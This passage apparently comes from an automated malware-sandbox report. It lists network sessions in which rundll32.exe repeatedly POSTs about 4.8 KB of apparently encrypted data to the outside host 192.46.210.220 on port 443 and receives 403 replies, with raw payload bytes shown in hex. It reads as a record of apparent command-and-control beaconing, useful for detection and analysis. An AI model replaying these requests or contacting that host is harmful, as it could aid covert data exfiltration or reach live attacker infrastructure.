2021-10-28 02:59:25 UTC	209	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:25 UTC	214	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:25 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	49941	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:26 UTC	214	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:26 UTC	214	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:26 UTC	219	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	49961	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:29 UTC	219	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:29 UTC	219	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:29 UTC	224	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	49967	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:30 UTC	224	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:30 UTC	224	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:30 UTC	229	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	49982	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:34 UTC	229	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:34 UTC	229	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:35 UTC	239	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:35 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	49985	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:35 UTC	234	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:35 UTC	234	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:35 UTC	239	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:35 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	49998	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:38 UTC	239	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:38 UTC	239	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:39 UTC	249	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:39 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	49999	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:38 UTC	244	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:38 UTC	244	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:39 UTC	249	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:39 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49773	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:11 UTC	24	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:11 UTC	25	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:11 UTC	29	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:11 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	50008	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:42 UTC	249	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:42 UTC	249	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:43 UTC	259	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:43 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	50009	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:42 UTC	254	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:42 UTC	254	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:43 UTC	259	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:43 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	50016	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:46 UTC	259	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:46 UTC	259	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:47 UTC	269	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	50017	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:46 UTC	264	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:46 UTC	264	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:47 UTC	269	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:47 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	50025	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:50 UTC	269	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:50 UTC	269	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:50 UTC	279	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:50 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	50024	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:50 UTC	274	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:50 UTC	274	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 